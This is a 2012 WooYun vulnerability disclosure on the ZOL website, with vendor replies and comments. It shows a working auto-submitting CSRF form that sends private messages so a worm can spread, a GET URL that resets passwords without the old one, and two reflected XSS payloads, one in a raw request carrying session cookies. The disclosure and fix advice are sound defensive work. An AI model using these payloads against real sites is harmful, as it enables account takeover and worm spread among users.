当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015298

漏洞标题:中关村在线登陆机制可导致CSRF WORM爆发,并可以自动传播修改任意用户密码

相关厂商:中关村在线

漏洞作者: l4yn3

提交时间:2012-11-27 11:17

修复时间:2013-01-11 11:17

公开时间:2013-01-11 11:17

漏洞类型:CSRF

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-27: 细节已通知厂商并且等待厂商处理中
2012-11-27: 厂商已经确认,细节仅向厂商公开
2012-12-07: 细节向核心白帽子及相关领域专家公开
2012-12-17: 细节向普通白帽子公开
2012-12-27: 细节向实习白帽子公开
2013-01-11: 细节向公众公开

简要描述:

中关村在线的登陆在线状态机制加上缺乏token机制,可导致CSRF WORM问题的爆发

详细说明:

问题产生的原因?
中关村在线登陆时为了使各个子域名都保持登陆状态,对COOKIE采取了PSP设置,导致third part cookie可以被跨域发送,加上会员操作基本上都没有传输token,使CSRF问题产生。

psp登陆.jpg


如何爆发CSRF WORM?
这里只做简单的演示。
结合中关村在线的短消息发送功能,构造CSRF页面。

<html>
<head>
</head>
<body>
<div id="my_eye">
<form name="form1" method="post" action="http://my.zol.com.cn/ajax/message/send.php" target="hidden_frame">
<input type="hidden" name="sid[]" value="22743497"/>
<input type="hidden" name="content" value="<a href='http://www.baidu.com'>http://www.baidu.com</a>">
<input type="submit" name="submits" id="submits" value="submit">
</form>
</div>
<iframe name="hidden_frame"></iframe>
<script>
document.getElementById("submits").click();
</script>
</body>
</html>


诱使中关村在线用户点击CSRF页面,对用户做相应操作(比如添加好友或者其他操作)的同时,向该网友的其他好友发送短消息,内容包含构造的CSRF链接,实现传播功能。

fasongduanxiaoxi.jpg


发送短消息成功。

sendaccess8.jpg


至于CSRF链接可以做的操作就实在太多了,删除好友,添加好友等。
结合中关村在线密码修改漏洞感染用户修改用户密码。
这里再奉上中关村在线修改密码漏洞一枚。
链接:http://my.zol.com/index.php?type=jbsz&op=password,为修改自己的账号密码。

mimakuang6.jpg


由于程序员疏忽导致输入原密码处任意填写均可修改当前用户密码,加之并未有效区分GET和POST,导致提交url:http://my.zol.com/ajax/personal/password.php?type=jbsz&op=password&action=modify&password_old=sdfgadfgas&password_new=nihaoa&password_new2=nihaoa&15:3:53:102&15:3:53:138 就可修改自己的密码。

mmxiugaimail2.jpg


两个漏洞结合科导致受感染用户密码被篡改。

漏洞证明:

具体WORM代码就不贴了,也不截图了,危害太大,点到为止。
另外再赠送反射性XSS两枚。
http://blog.zol.com.cn/user_gift_list.php?userid=l4yn3%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E%3C

POST http://photo.zol.com.cn/photo_search_new.php HTTP/1.1
Host: photo.zol.com.cn
Connection: keep-alive
Content-Length: 70
Cache-Control: max-age=0
Origin: http://photo.zol.com.cn
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://photo.zol.com.cn/photo_search_new.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ip_ck=5cGC5vPzj7QuMjYzMTk0LjEzMTM2MjkxMTY%3D; mp_new=local=beijingshi; Hm_lvt_4fcd48d2cca3efcb87375bd5a36bc06a=1336371179489; forward_video=119142; qq_token=10689806242707269492; qq_secret=nsv6akPyXC3ZfaSW; lv=1352967912; vn=37; last_userid=l4yn3; ad=TurnAD503=2&TurnAD5839=1; __utma=139727160.1749862877.1328694484.1352456855.1352967913.23; __utmc=139727160; __utmz=139727160.1352456855.22.18.utmcsr=baidu|utmccn=(organic)|utmcmd=organic|utmctr=zol; z_pro_city=s_provice%3Dbeijingshi%26s_city%3D; Adshow=4; __utma=55789290.355077888.1352279665.1352279665.1352970422.2; __utmb=55789290.17.10.1352970422; __utmc=55789290; __utmz=55789290.1352970422.2.2.utmcsr=my.zol.com.cn|utmccn=(referral)|utmcmd=referral|utmcct=/app/app.php
search_type=3&kword=%BF%5C%27%3Balert%28%2Fxss%2F%29%3B%2F%2F&x=34&y=6


还有若干,希望一并自己找出来修补吧。

修复方案:

关键位置采用TOKEN机制,或者取消P3P(这个改动貌似比较大)。
XSS自己体会吧,不是过滤标签就能搞定的。

版权声明:转载请注明来源 l4yn3@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2012-11-27 13:21

厂商回复:

修改密码页是下线产品,已下线,thx

最新状态:

暂无


漏洞评价:

评论

  1. 2012-11-27 13:55 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    好吧,就当你们没看明白我在说什么,重点是CSRF,修改密码是附带的。

  2. 2012-11-27 18:08 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @l4yn3 应该都已经修复了,最近就在调整接口的问题,才有修改密码那个bug产生,cookie机制也在调整

  3. 2012-11-27 18:12 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    很好

  4. 2013-01-11 11:27 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    好吧。。目测明文密码

  5. 2013-01-11 12:18 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @蟋蟀哥哥 非明文

  6. 2013-01-11 15:32 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @浩天 对称加密也是明文啊。。他都发邮件告诉你设置的密码是多少了。要么是设置的时候保存在内存里面,发送给你,然后加密存储的。。要么就是对称加密的。。。和明文差不多

  7. 2013-01-13 21:08 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @蟋蟀哥哥 有时候我说了不算,申请ssl,没批

  8. 2013-01-14 07:07 | safe121 ( 实习白帽子 | Rank:98 漏洞数:11 | http://www.gov.cn)

    @浩天 内部人事?

  9. 2013-01-14 09:40 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    @浩天 兄弟 CSRF的问题一直没处理吧?

  10. 2013-01-14 11:50 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @l4yn3 CSRF已经不能修改密码了,加了token,其他操作,影响不大,有时候我说了真不算

  11. 2013-01-14 12:01 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    @浩天 明白你的感受 但是貌似blog这个产品都没token

  12. 2013-01-14 12:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @浩天 所以才需要wooyun这个平台来督促厂商修改。有时候内部人说了真不算的